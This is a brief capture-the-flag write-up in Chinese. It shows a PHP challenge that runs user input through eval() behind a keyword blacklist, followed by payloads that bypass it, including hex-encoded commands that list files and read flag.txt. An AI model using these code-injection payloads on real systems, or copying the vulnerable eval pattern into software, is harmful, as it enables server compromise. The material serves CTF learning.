cool(RCE)

题目

<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?> 

绕过方式：
echo ls;
echo exec("ls");
echo shell_exec("ls");
echo passthru("ls");
eval(hex2bin("6563686f2073797374656d28276c7327293b"));
eval(hex2bin("6576616c2873797374656d282763617420666c61672e7478742729293b"));